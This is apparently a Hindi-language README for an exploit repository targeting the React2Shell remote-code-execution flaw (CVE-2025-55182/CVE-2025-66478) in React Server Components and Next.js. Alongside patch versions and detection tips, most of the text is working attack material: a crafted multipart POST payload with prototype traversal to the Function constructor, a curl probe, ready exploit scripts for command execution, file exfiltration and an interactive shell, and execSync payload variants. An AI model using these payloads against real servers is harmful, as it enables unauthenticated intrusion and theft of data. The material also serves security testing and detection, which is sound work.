
CVE-2025-55182 और CVE-2025-66478 का विश्लेषण -- React2Shell के पीछे की कमज़ोरियाँ। उपकरण, तकनीकी जानकारी, आदि
CVE-2025-55182 (React) और CVE-2025-66478 (Next.js)
इस रिपॉजिटरी में केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए एक्सप्लॉइट कोड है।
यह भी देखें: कई शोधकर्ताओं ने इस भेद्यता के विश्लेषण प्रकाशित किए हैं। अतिरिक्त दृष्टिकोण, एक्सप्लॉइट तकनीकों और पहचान विधियों के लिए संदर्भ अनुभाग देखें।
बुधवार, 3 दिसंबर 2025 को, React Server Components में एक गंभीर रिमोट कोड निष्पादन (Remote Code Execution) भेद्यता सार्वजनिक रूप से उजागर की गई। "React2Shell" नामक यह बग, एक बिना प्रमाणीकरण वाले हमलावर को केवल एक HTTP अनुरोध भेजकर React RSC या Next.js App Router के भेद्य संस्करण चलाने वाले किसी भी सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देता है।
Next.js इतना सर्वव्यापी हो गया है - यह आधुनिक वेब के एक महत्वपूर्ण हिस्से को शक्ति देता है - इसलिए इस भेद्यता का प्रभाव गंभीर है। RSC सक्षम के साथ App Router (Next.js 13 के बाद से नई परियोजनाओं के लिए डिफ़ॉल्ट) का उपयोग करने वाला कोई भी Next.js एप्लिकेशन भेद्य है। कोई विशेष कॉन्फ़िगरेशन नहीं। कोई विशिष्ट एंडपॉइंट नहीं। बस किसी भी रूट पर एक POST अनुरोध।
भेद्यता React के "Flight" प्रोटोकॉल में रहती है, जो React Server Components में सर्वर और क्लाइंट के बीच डेटा पास करने के लिए उपयोग किया जाने वाला सीरियलाइज़ेशन प्रारूप है। डिसीरियलाइज़ेशन के दौरान hasOwnProperty जाँच की कमी प्रोटोटाइप श्रृंखला ट्रैवर्सल की अनुमति देती है, अंततः JavaScript Function कंस्ट्रक्टर तक पहुँचकर हमलावर-नियंत्रित कोड निष्पादित करती है।
यह दोष React के react-server-dom-webpack, react-server-dom-turbopack और react-server-dom-parcel पैकेजों में मौजूद है। Next.js, प्रमुख RSC उपभोक्ता के रूप में, अपने App Router के माध्यम से भेद्यता प्राप्त करता है।
कई सेवाएँ संभावित रूप से भेद्य हैं। Next.js सबसे लोकप्रिय React फ्रेमवर्क में से एक है, जिसका उपयोग सभी आकारों की कंपनियाँ करती हैं - स्टार्टअप से लेकर एंटरप्राइज़ तक। React Server Components के साथ App Router संस्करण 13 के बाद से नई Next.js परियोजनाओं के लिए डिफ़ॉल्ट आर्किटेक्चर रहा है, जिसका अर्थ है कि अधिकांश आधुनिक Next.js डिप्लॉयमेंट प्रभावित हैं।
निम्न का उपयोग करने वाला कोई भी एप्लिकेशन:
react-server-dom-* पैकेजों के साथ (19.0.0 - 19.2.0)इसमें Vercel, AWS, सेल्फ-होस्टेड इन्फ्रास्ट्रक्चर और किसी भी अन्य स्थान पर चलने वाले प्रोडक्शन डिप्लॉयमेंट शामिल हैं जहाँ Next.js App Router एप्लिकेशन चलते हैं।
प्रभावित नहीं:
process.mainModule उपलब्ध नहीं)| पैकेज | भेद्य | पैच किया गया |
|---|---|---|
तुरंत अपग्रेड करें। कोई वर्कअराउंड नहीं हैं।
Next.js एप्लिकेशनों के लिए:
npm install next@latest
# or
pnpm update next
सीधे React RSC उपयोग के लिए:
npm install react-server-dom-webpack@latest
अपने इंस्टॉल किए गए संस्करणों को सत्यापित करें:
npm ls next react-server-dom-webpack react-server-dom-turbopack
इस भेद्यता के लिए कई हमला वेक्टर खोजे गए हैं। सबसे सामान्य - और जो बिना किसी पूर्वापेक्षा के काम करता है - React के Flight प्रोटोकॉल संदर्भ प्रणाली के माध्यम से प्रोटोटाइप पॉल्यूशन का उपयोग करता है।
एक्सप्लॉइट Next-Action हेडर के साथ एक क्राफ्टेड मल्टीपार्ट POST अनुरोध भेजता है। पेलोड संदर्भ प्रणाली का दुरुपयोग करता है:
$1:__proto__:then के माध्यम से प्रोटोटाइप श्रृंखला को ट्रैवर्स करेंFunction कंस्ट्रक्टर को कॉल करने के लिए धोखा देंPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
कोड डिसीरियलाइज़ेशन के दौरान, किसी भी एक्शन ID सत्यापन से पहले निष्पादित होता है। इसका मतलब है कि कोई भी Next-Action हेडर मान भेद्य कोड पथ को ट्रिगर करता है - कोई मान्य एक्शन ID आवश्यक नहीं है।
अन्य हमला वेक्टर मौजूद हैं, जिनमें
$Fफ़ंक्शन संदर्भ और प्रत्यक्ष मॉड्यूल गैजेट शामिल हैं। इन्हें आमतौर पर एक मान्य एक्शन ID की आवश्यकता होती है। विवरण के लिए वैकल्पिक हमला वेक्टर देखें।
React का Flight प्रोटोकॉल $1:path:to:value जैसे संदर्भों को कोलन पर विभाजित करके और ऑब्जेक्ट को ट्रैवर्स करके हल करता है:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
विडंबना: इसी फ़ाइल के शीर्ष पर, पंक्ति 35:
import hasOwnProperty from 'shared/hasOwnProperty';गार्ड आयात किया गया था। यह उपलब्ध था। बस उस एक लूप में इसका उपयोग नहीं किया गया जहाँ इसकी सबसे अधिक आवश्यकता थी।
यह एकल लापता जाँच $1:__proto__:then को एक चंक ऑब्जेक्ट से, प्रोटोटाइप श्रृंखला के ऊपर, Chunk.prototype.then तक - एक फ़ंक्शन जो Promise-जैसी ऑब्जेक्ट्स को संसाधित करता है - ट्रैवर्स करने की अनुमति देती है। सही गुणों के साथ एक नकली चंक बनाकर, हम नियंत्रित करते हैं कि कौन सा कोड निष्पादित हो।
भेद्य टेस्ट सर्वर को क्लोन करें:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
दूसरे टर्मिनल में:
./detect.sh http://localhost:3443
एक भेद्य सर्वर प्रतिक्रिया बॉडी में E{"digest" के साथ HTTP 500 लौटाता है। RCE प्रदर्शित करने के लिए:
./exploit-redirect.sh http://localhost:3443 "id"
कमांड आउटपुट प्रतिक्रिया में दिखाई देता है। इंटरैक्टिव अन्वेषण के लिए:
./shell.sh http://localhost:3443
vulnerable-next-server/ निर्देशिका में सुरक्षित स्थानीय परीक्षण के लिए एक पूर्व-कॉन्फ़िगर Next.js 16.0.6 + React 19.2.0 एप्लिकेशन है। यह डिफ़ॉल्ट रूप से पोर्ट 3443 पर चलता है। यह एक न्यूनतम App Router सेटअप है जो दर्शाता है कि डिफ़ॉल्ट कॉन्फ़िगरेशन भेद्य हैं।
हमने विभिन्न परिदृश्यों को संभालने के लिए कई एक्सप्लॉइट वेरिएंट विकसित किए:
प्रोडक्शन नोट: React प्रोडक्शन बिल्ड में त्रुटि संदेशों को हटा देता है, जिससे
throwविधि टूट जाती है। केवलexploit-redirect.shबिना पूर्वापेक्षाओं के प्रोडक्शन में कमांड आउटपुट को विश्वसनीय रूप से कैप्चर करता है। रीडायरेक्ट URL त्रुटि केdigestगुण (मेटाडेटा) में संग्रहीत होता है, जिसे सैनिटाइज़ नहीं किया जाता -messageके विपरीत जो केवल{digest: "..."}बन जाता है।
उपयोगिता स्क्रिप्ट्स:
detect.sh - गैर-विनाशकारी भेद्यता जाँच (कोई कोड निष्पादन नहीं)enumerate-actions.sh - लक्ष्य HTML से मान्य सर्वर एक्शन ID खोजता हैexfil-file.sh - चंक्ड फ़ाइल एक्सफिल्ट्रेशन (बड़ी फ़ाइलों को स्वचालित रूप से संभालता है)shell.sh - RCE पर इंटरैक्टिव स्यूडो-शेलरीडायरेक्ट विधि अनुशंसित है क्योंकि यह प्रोडक्शन में काम करती है, किसी पूर्वापेक्षा की आवश्यकता नहीं होती, और कमांड आउटपुट सीधे लौटाती है। यह एक विशेष रूप से क्राफ्टेड NEXT_REDIRECT त्रुटि फेंककर काम करती है - आउटपुट को base64-एन्कोड करके रीडायरेक्ट URL में डाला जाता है और x-action-redirect हेडर में लौटाया जाता है।
प्रत्येक स्क्रिप्ट के विस्तृत उपयोग के लिए, USAGE.md देखें।
./detect.sh https://target.com
यह एक न्यूनतम जाँच भेजता है जो बिना मनमाना कोड निष्पादित किए भेद्य कोड पथ को ट्रिगर करता है।
भेद्य सर्वर प्रतिक्रिया:
text/x-componentE{"digest"पैच किया गया या गैर-RSC सर्वर: 404, भिन्न त्रुटि प्रारूप, या कोई Flight प्रोटोकॉल प्रतिक्रिया नहीं लौटाता।
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
यह जाँच एक खाली ऑब्जेक्ट पर एक गैर-मौजूद गुण को संदर्भित करती है। भेद्य सर्वर {}.a.a तक पहुँचने का प्रयास करते समय क्रैश हो जाते हैं, 500 लौटाते हैं। पैच किए गए सर्वरों में hasOwnProperty गार्ड होता है जो क्रैश को रोकता है।
इन संकेतकों को देखें:
<script> टैग (0:, 1:, आदि)x-nextjs-cache या x-nextjs-matched-path हेडर/_next/ स्टैटिक एसेट पथ$ACTION_ID_ पैटर्ननिम्नलिखित आरेख दर्शाता है कि एक एकल HTTP अनुरोध कैसे रिमोट कोड निष्पादन प्राप्त करता है:
sequenceDiagram
participant A as Attacker
participant N as Next.js
participant F as Flight Parser
participant JS as JS Engine
A->>N: POST with Next-Action header + malicious payload
N->>F: Parse multipart form data
F->>JS: await getRoot - returns chunk as thenable
rect rgb(80, 20, 20)
Note over F,JS: VULNERABILITY - No hasOwnProperty check
JS->>F: chunk.then parses $1:__proto__:then
F-->>F: Traverses to Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
JS->>F: fakeChunk.then() with attacker's _response
rect rgb(80, 20, 20)
Note over F,JS: EXPLOITATION - Attacker controls _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
F->>JS: Function(code) invoked as thenable
end
Note over JS: RCE - execSync() runs
rect rgb(20, 60, 20)
Note over A,JS: OUTPUT EXFILTRATION (redirect method)
JS-->>F: throw NEXT_REDIRECT with base64(output)
F-->>N: Error propagates up
N-->>A: HTTP 303 + x-action-redirect header
end
React Server Components सर्वर से क्लाइंट तक कंपोनेंट ट्री स्ट्रीम करने के लिए "Flight" नामक एक कस्टम सीरियलाइज़ेशन प्रारूप का उपयोग करते हैं। यह विभिन्न मान प्रकारों के लिए उपसर्ग कोड का उपयोग करता है:
$1, $2, ... - ID द्वारा अन्य चंक्स के संदर्भ$@0 - रॉ चंक ऑब्जेक्ट संदर्भ (चंक को ही लौटाता है, उसका मान नहीं)$B0 - ब्लॉब संदर्भ (_formData.get(_prefix + id) को ट्रिगर करता है)$1:path:to:prop - संदर्भित चंक के मान पर एक पथ ट्रैवर्स करता हैभेद्यता $@ (रॉ संदर्भ) और कोलन-सीमांकित पथों के संयोजन का उपयोग करके __proto__ तक पहुँचती है।
चरण 1: अनुरोध प्रसंस्करण
Next-Action हेडर के साथ POST RSC एक्शन हैंडलिंग ट्रिगर करता हैawait getRoot(response) चंक 0 को thenable के रूप में लौटाता हैचरण 2: प्रोटोटाइप ट्रैवर्सल
then विधि है - JS Promise स्पेक thenable.then(resolve, reject) को कॉल करता है$1:__proto__:then Chunk.prototype.then पर हल होता हैthen, status: "resolved_model" और _response के साथ नकली चंक ऑब्जेक्ट बनाया जाता हैचरण 3: कोड निष्पादन
resolve(ourObject) एक और then() कॉल ट्रिगर करता है (JS thenable स्पेक)Chunk.prototype.then हमारे नियंत्रित _response ऑब्जेक्ट का उपयोग करके चलता है$B0 _formData.get(_prefix + "0") ट्रिगर करता है - दोनों हमलावर-नियंत्रितचरण 4: आउटपुट एक्सफिल्ट्रेशन (वैकल्पिक, रीडायरेक्ट विधि)
NEXT_REDIRECT त्रुटि फेंकता हैx-action-redirect हेडर सेट करता हैनिर्मित फ़ंक्शन को thenable के रूप में कॉल किया जाता है: fn(resolve, reject)। हम इसे कैसे संभालते हैं यह निर्धारित करता है कि हमें आउटपुट वापस मिलता है या नहीं:
अनुशंसित: रीडायरेक्ट। प्रोडक्शन में काम करता है, कोई पूर्वापेक्षा नहीं, x-action-redirect हेडर में आउटपुट।
ब्लाइंड दृष्टिकोण लटक जाता है क्योंकि Promise कभी हल नहीं होता - await हमेशा के लिए ब्लॉक करता है। यह फायर-एंड-फॉरगेट परिदृश्यों (रिवर्स शेल, curl के माध्यम से आउट-ऑफ-बैंड एक्सफिल) के लिए उपयोगी है।
मुख्य भेद्यता का शोषण तीन अलग-अलग हमला वर्गों के माध्यम से किया गया है। यह रिपॉजिटरी पहले दृष्टिकोण का उपयोग करती है; अन्य PoC विकल्पों को प्रदर्शित करते हैं:
प्रोटोटाइप पॉल्यूशन को एक्शन ID की आवश्यकता क्यों नहीं होती: मल्टीपार्ट फ़ॉर्म पार्सिंग तुरंत चंक्स को Flight डिसीरियलाइज़र को खिलाती है। RCE चंक संदर्भ समाधान के दौरान getOutlinedModel() में होता है - Next.js द्वारा एक्शन ID सत्यापित करने से पहले। URL-एन्कोडेड अनुरोध पहले एक्शन ID सत्यापित करते हैं (action-handler.ts:768 पर भिन्न कोड पथ)।
$F संदर्भ को एक्शन ID की आवश्यकता क्यों होती है: $F संदर्भ loadServerReference() ट्रिगर करता है, जो मैनिफेस्ट लुकअप करता है। यदि एक्शन मौजूद नहीं है, तो अनुरोध कोड निष्पादन से पहले विफल हो जाता है।
सभी PoC इम्प्लीमेंटेशन और उनके ट्रेडऑफ़ के विस्तृत विश्लेषण के लिए, external-pocs/COMPARISON.md देखें।
React प्रोडक्शन बिल्ड में त्रुटि विवरण हटा देता है। यह throw-आधारित एक्सफिल्ट्रेशन को प्रभावित करता है:
डेवलपमेंट:
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
प्रोडक्शन:
{"digest":"..."}
रीडायरेक्ट विधि इसे बायपास करती है क्योंकि रीडायरेक्ट URL digest गुण में संग्रहीत होता है, message में नहीं। हेडर URL सत्यापन से पहले बिना शर्त सेट होता है, इसलिए अमान्य URL को भी हेडर सेट मिलता है।
मुख्य शोषण अंतर्दृष्टि - एक स्व-संदर्भित नकली चंक बनाने के लिए $@ रॉ चंक संदर्भों का उपयोग - का श्रेय maple3142 को जाता है। यहाँ संदर्भित पहचान पद्धति Searchlight Cyber / Assetnote से आती है।
आधिकारिक खुलासे:
सामुदायिक शोध:
सभी PoC इम्प्लीमेंटेशन की विस्तृत तुलना के लिए, external-pocs/COMPARISON.md देखें।
पृष्ठभूमि:
कोड MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। दस्तावेज़ीकरण (*.md फ़ाइलें) CC-BY-SA 4.0 के अंतर्गत लाइसेंस प्राप्त है।
react-server-dom-webpack| 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| संस्करण लाइन | भेद्य | पैच किया गया |
|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
| स्क्रिप्ट | HTTP | आउटपुट | प्रोडक्शन | नोट्स |
|---|
exploit-redirect.sh | 303 | x-action-redirect हेडर | हाँ | अनुशंसित। कोई पूर्वापेक्षा नहीं। |
exploit-throw.sh | 500 | त्रुटि प्रतिक्रिया बॉडी | नहीं | केवल डेव मोड (प्रोडक्शन में त्रुटियाँ सैनिटाइज़ होती हैं)। |
exploit-blind.sh | 200 | केवल सर्वर-साइड | हाँ | फायर-एंड-फॉरगेट। OOB एक्सफिल के लिए उपयोग करें। |
exploit-urlencoded.sh | 303 | x-action-redirect हेडर | हाँ | भिन्न WAF सिग्नेचर। एक्शन ID आवश्यक। |
exploit-reflect.sh | 200 | प्रतिक्रिया बॉडी | हाँ | सबसे गोपनीय। एक्शन ID आवश्यक। |
| रणनीति | पेलोड सफ़िक्स | यह कैसे काम करता है |
|---|
| ब्लाइंड | execSync('CMD');0 | निष्पादित करता है लेकिन कभी हल नहीं होता - कनेक्शन लटक जाता है, कोई आउटपुट नहीं |
| थ्रो | throw execSync('CMD').toString() | Promise अस्वीकार करता है, त्रुटि बॉडी में आउटपुट (केवल डेव मोड) |
| रीडायरेक्ट | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | Next.js रीडायरेक्ट हैंडलिंग का दुरुपयोग, हेडर में आउटपुट |
| रिफ्लेक्ट | arguments[0](https://github.com/freeqaz/react2shell/blob/HEAD/%5BexecSync(%27CMD%27).toString()]) | आउटपुट के साथ Promise को एक्शन तर्क के रूप में हल करता है (मान्य एक्शन ID आवश्यक) |
| हमला वर्ग | तंत्र | एक्शन ID आवश्यक | उदाहरण PoC |
|---|
| प्रोटोटाइप पॉल्यूशन | $1:__proto__:then से Chunk.prototype तक ट्रैवर्सल | नहीं | react2shell, lachlan2k, joe-desimone |
| $F फ़ंक्शन संदर्भ | Function तक पहुँचने के लिए $F1 + action#constructor | हाँ | shellinteractive |
| मॉड्यूल गैजेट | module#export सिंटैक्स (जैसे, child_process#execSync) | भिन्न | ejpir research |
| लेखक | योगदान | हमला पथ | उल्लेखनीय विशेषताएँ |
|---|
| lachlan2k | मूल खोजकर्ता | प्रोटोटाइप पॉल्यूशन | Array.map चेनिंग, 5-चंक संरचना, Waku समर्थन |
| ejpir | गैजेट शोध | सभी पथ | मॉड्यूल गैजेट कैटलॉग, पर्सिस्टेंस अटैक, डेटा URI पथ |
| joe-desimone | Python टूलिंग | प्रोटोटाइप पॉल्यूशन | रिवर्स शेल हेल्पर, कॉलबैक एक्सफिल, टाइमआउट डिटेक्शन |
| labubusDest / MrR0b0t19 | इंटरैक्टिव शेल | $F फ़ंक्शन संदर्भ | Python REPL, फ़ाइल अपलोड/डाउनलोड, बिल्ट-इन टेस्ट सूट |
| Searchlight Cyber | पहचान विधियाँ | — | हाई-फिडेलिटी पहचान पद्धति, WAF सिग्नेचर |